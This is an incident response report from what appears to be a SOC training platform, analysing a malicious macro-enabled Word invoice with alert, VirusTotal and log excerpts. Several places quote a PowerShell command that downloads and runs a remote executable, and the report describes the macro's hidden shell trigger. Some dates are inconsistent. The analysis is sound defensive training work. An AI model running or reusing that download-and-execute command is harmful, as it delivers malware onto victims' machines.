Contact Person

Full name
Ahmed Emad Nasr

Job title / role
Incident Response Analyst

Department / team
Security Operations Center (SOC)

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The Incident

Date and time discovered:
Feb, 28, 2024, 08:42 AM.

How was the incident detected? (E.g., user report, monitoring system alert)

A Medium severity alert was triggered in the Monitoring system under the rule "SOC205 - Malicious Macro has been executed".

Detailed description of the incident (include what occurred, where, and how):

- A compressed archive named edit1-invoice.docm.zip was downloaded to the workstation Jayne (IP: 172.16.17.198), and the file edit1-invoice.docm was extracted at 08:41 AM.
- VirusTotal analysis of the document's hash (1a819d18c9a9de4f81829c4cd55a17f767443c22f9b30ca953866827e5d96fb0) shows 26 out of 56 vendors flagging it as malicious (TrojanDownloader).
- Code insights reveal the document contains a macro in ThisDocument.cls designed to execute a hidden shell command when a specific InkEdit control receives focus, bypassing explicit user interaction beyond enabling macros.
- Log Management events show that WINWORD.EXE opened the malicious document.
- Following the macro execution, a new PowerShell process was spawned (EventID 4688) with a command line instructing it to download a payload using System.Net.WebClient.
- The malicious script block executed the following: (New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'.
- A DNS Query (EventID 22) confirms that powershell.exe successfully resolved WWW.GREYHATHACKER.NET at 08:42 AM.

Was the incident ongoing at the time of report?

☐ Yes ☒ No

Have any files, accounts, or systems been compromised?

☒ Yes ☐ No

If yes, please describe:

The host Jayne (172.16.17.198) is compromised. The malicious macro successfully executed, invoked PowerShell, and attempted to download and execute a secondary payload (messbox.exe) from an external attacker-controlled domain.

Notification

Was your supervisor or manager notified?

☒ Yes ☐ No

Date/time of notification:
April 6, 2026

Was the IT/security team alerted?

☒ Yes ☐ No

If yes, who was contacted and how? (e.g., email, phone, ticket)

If yes, who was contacted and how? (e.g., email, phone, ticket):
Escalated to the Incident Response team via Case Management for host isolation and forensic review.

Containment Measures

What immediate actions were taken to contain the threat? (E.g., system shutdown, network isolation)

mmediately isolate the host Jayne (172.16.17.198) using Endpoint Security controls to prevent the secondary payload (mess.exe) from establishing command and control (C2) or moving laterally.

Were any user accounts disabled, firewalls updated, or services suspended?

☒ Yes ☐ No

If yes, provide details:

Firewalls and web proxies updated to block the domain www.greyhathacker.net and its associated IP addresses.
The file hash for edit1-invoice.docm and the anticipated payload messbox.exe have been blacklisted in the EDR solution.

Impacted Services Measures

List any systems, devices, or applications affected by the incident:

Workstation Hostname: Jayne (IP: 172.16.17.198)

Estimated number of affected users, if applicable:

1 user (Jayne).

Was there any known data loss or exposure?

☐ Yes ☒ No

If yes, describe the type of data (e.g., personal info, credentials, financial):

Currently, no data exfiltration is visible in the provided logs. The primary action was a downloader fetching a secondary executable.

Preliminary Analysis *(Optional)*

Suspected cause or entry point (e.g., phishing email, unpatched software):

- **Suspected cause or entry point (e.g., phishing email, unpatched software):**
  - Social engineering/phishing. The user was lured into downloading and extracting a ZIP file disguised as an invoice, and subsequently opened the macro-enabled Word document, which initiated the malware execution chain.

Was the threat internal, external, or unknown?

☐ Internal ☒ External ☐ Unknown

Submitted by:

Ahmed Emad Nasr	Ahmed Emad Nasr	
Name	**Signature**	**Date submitted**

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Sandbox

High	Jun, 06, 2024, 03:12 PM	SOC287 - Arbitrary File Read on Checkpoint Security Gateway [CVE-2024-24919]	263	Web Attack
Medium	May, 13, 2024, 09:22 AM	SOC282 - Phishing Alert - Deceptive Mail Detected	257	Exchange
Medium	Apr, 19, 2024, 08:23 AM	SOC275 - Application Token Steal Attempt Detected	250	Proxy
Critical	Apr, 18, 2024, 03:09 AM	SOC274 - Palo Alto Networks PAN-OS Command Injection Vulnerability Exploitation (CVE-2024-3400)	249	Web Attack
Medium	Mar, 14, 2024, 05:23 PM	SOC153 - Suspicious Powershell Script Executed	238	Malware
High	Mar, 07, 2024, 12:51 PM	SOC127 - SQL Injection Detected	235	Web Attack
Medium	Mar, 07, 2024, 11:44 AM	SOC176 - RDP Brute Force Detected	234	Brute Force
Medium	Feb, 28, 2024, 08:42 AM	SOC205 - Malicious Macro has been executed	231	Malware

EventID :	231
Event Time :	Feb, 28, 2024, 08:42 AM
Rule :	SOC205 - Malicious Macro has been executed
Level :	Security Analyst
Hostname :	Jayne
Ip Address :	172.16.17.198
File Name :	edit1-invoice.docm
File Path :	C:\Users\LetsDefend\Downloads\edit1-invoice.docm
File Hash :	1a819d18c9a9de4f81829c4cd55a17f767443c22f9b30ca953866827e5d96fb0
Trigger Reason :	Suspicious file detected on system.
AV/EDR Action :	Detected
Show Hint	

Low	Feb, 13, 2024, 02:04 AM	SOC257 - VPN Connection Detected from Unauthorized Country	225	Unauthorized Access
Medium	Jan, 01, 2024, 12:37 PM	SOC251 - Quishing Detected (QR Code Phishing)	214	Exchange

1a819d18c9a9de4f81829c4cd55a17f767443c22f9b30ca953866827e5d96fb0

Sign in | Sign up

26 / 56
Community Score -1

26/56 security vendors flagged this file as malicious

Reanalyze | Similar | More

1a819d18c9a9de4f81829c4cd55a17f767443c22f9b30ca953866827e5d96fb0
edit1-invoice.docm
docx | checks-disk-space | macros | macro-run-file | run-file | auto-open

Size 23.21 KB | Last Analysis Date 8 days ago | DOCX

DETECTION | DETAILS | RELATIONS | BEHAVIOR | COMMUNITY 2

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Code insights

The document contains a macro in `ThisDocument.cls` that triggers when the InkEdit control named `GBjdshuiKJ` receives focus. The `InkEdit1_GotFocus` subroutine executes a shell command. The command to be executed is retrieved from the `TextBox1` control located on `UserForm1`. The shell command is executed with the window style set to 0, which corresponds to a hidden window. This means that upon gaining focus, the InkEdit control will execute a command retrieved from a textbox on a user form, without displaying a window.

Crowdsourced AI

Hispasec flags this file as malicious

The provided macros exhibit several behaviors that are indicative of malicious intent.

Show more

Popular threat label downloader.logan/powersh | **Threat categories** downloader | trojan | **Family labels** logan | powersh

Security vendors' analysis — Do you want to automate checks?

AhnLab-V3	VBA/Form	Alibaba	TrojanDownloader:Script/PowerSh.7e4c...
AliCloud	Trojan[downloader]:Win/Logan.Gen	Antiy-AVL	Trojan[Downloader]/MSOffice.Agent
Arcabit	VBA:Logan.17	Avast	Other:Malware-gen [Trj]
AVG	Other:Malware-gen [Trj]	Avira (no cloud)	TR/Dldr.PowerSh.A
Baidu	VBA.Trojan-Downloader.Agent.bvo	BitDefender	VBA:Logan.17
CTX	Docx.trojan.dldr	Cynet	Malicious (score: 99)

Basic Pro

New Search

Destination Address contains "172.16.17.198" 2024-02-28

5 events (before Feb, 28, 2024, 08:42 AM UTC)

1

Hide Fields

INTERESTING FIELDS

- a type
- a source_address
- # source_port
- a destination_address
- # destination_port
- a raw_log

Event

[Feb, 28, 2024, 08:42 AM] source_address=172.16.17.198 source_port=0 destination_address=172.16.17.198 destination_port=0 raw_log: {'Source': 'Sysmon', 'Username': 'Jayne', 'EventID': '22', 'Type': 'DNS Query', 'Q...

[Feb, 28, 2024, 08:41 AM] source_address=172.16.17.198 source_port=0 destination_address=172.16.17.198 destination_port=0 raw_log: {'EventID': '11(File Created)', 'Image': 'C:\\Windows\\Explorer.EXE', 'Target File ...

[Feb, 28, 2024, 08:42 AM] source_address=172.16.17.198 source_port=0 destination_address=172.16.17.198 destination_port=0 raw_log: {'EventID': '4104(Execute a Remote Command)', 'Script Block Text': '(New-Obje...

[Feb, 28, 2024, 08:42 AM] source_address=172.16.17.198 source_port=0 destination_address=172.16.17.198 destination_port=0 raw_log: {'Parent Username': 'LetsDefend', 'EventID': '1(Process Create)', 'Command Lin...

[Feb, 28, 2024, 08:42 AM] source_address=172.16.17.198 source_port=0 destination_address=172.16.17.198 destination_port=0 raw_log: {'EventID': '4688(A new process has been created.)', 'Account Name': 'LetsDefe...

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INTERESTING FIELDS

- a type
- a source_address
- # source_port
- a destination_address
- # destination_port
- a raw_log

Event

destination_port	0
time	Feb, 28, 2024, 08:42 AM
Raw Log	
Source	Sysmon
Username	Jayne
EventID	22
Type	DNS Query
QueryResult	92.204.221.16;
QueryName	WWW.GREYHATHACKER.NET
Process	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
UtcTime	2023-02-28 08:42:51

1 row selected

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app.letsdefend.io/logmanagement/logs

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Destination Address contains "172.16.17.198" | 2024-02-28

5 events (before Feb, 28, 2024, 08:42 AM UTC)

1

Hide Fields

INTERESTING FIELDS

- type
- source_address
- source_port
- destination_address
- destination_port
- raw_log

Event

type	OS
source_address	172.16.17.198
source_port	0
destination_address	172.16.17.198
destination_port	0
time	Feb, 28, 2024, 08:41 AM
Raw Log	
EventID	11(File Created)
Image	C:\Windows\Explorer.EXE
Target File Name	C:\Users\LetsDefend\Downloads\edit1-invoice.docm.zip
RuleName	Downloads

1 row selected

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INTERESTING FIELDS

- type
- source_address
- source_port
- destination_address
- destination_port
- raw_log

Event

source_address	172.16.17.198
source_port	
destination_addres	
destination_port	
time	
Raw Log	
EventID	4104(Execute a Remote Command)
Script Block Text	(New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.e...
Username	LetsDefend
ProcessId	4545

SCRIPT BLOCK TEXT

```
(New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'
```

1 row selected

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5 events (before Feb, 28, 2024, 08:42 AM UTC)

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INTERESTING FIELDS

- type
- source_address
- source_port
- destination_address
- destination_port
- raw_log

Event

source_address	172.16.17.198
source_port	
destination_addres	
destination_port	
time	
Raw Log	
EventID	4104(Execute a Remote Command)
Script Block Text	(New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.e...
Username	LetsDefend
ProcessId	4545

SCRIPT BLOCK TEXT

(New-Object System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.exe','mess.exe');Start-Process 'mess.exe'

1 row selected

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INTERESTING FIELDS

- type
- source_address
- source_port
- destination_address
- destination_port
- raw_log

Event

source_port	
destination_addres	
destination_port	
time	
Raw Log	
Parent Username	LetsDefend
EventID	1(Process Create)
Command Line	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Te...
Current Directory	C:\Users\LetsDefend\Downloads\edit1-invoice.docm.zip\edit1-invoice.docm
Process ID	4545

COMMAND LINE

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\edit1-invoice.docm"

1 row selected

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- source_address
- source_port
- destination_address
- destination_port
- raw_log

Event

type	OS
source_address	
source_port	
destination_addres	
destination_port	
time	
Raw Log	
EventID	4688(A new process has been created.)
Account Name	LetsDefend
New Process Name	powershell.exe
Process Command Line	POWERSHELL (NEW-OBJECT SYSTEM.NET.WEBCLIENT).DOWNLOADFILE('HTTP://WWW.GREYHATHACKER.NET/TOO...

1 row selected

PROCESS COMMAND LINE

POWERSHELL (NEW-OBJECT SYSTEM.NET.WEBCLIENT).DOWNLOADFILE('HTTP://WWW.GREYHATHACKER.NET/TOOLS/MESSBOX.EXE','MESS.EXE');START-PROCESS 'MESS.EXE'

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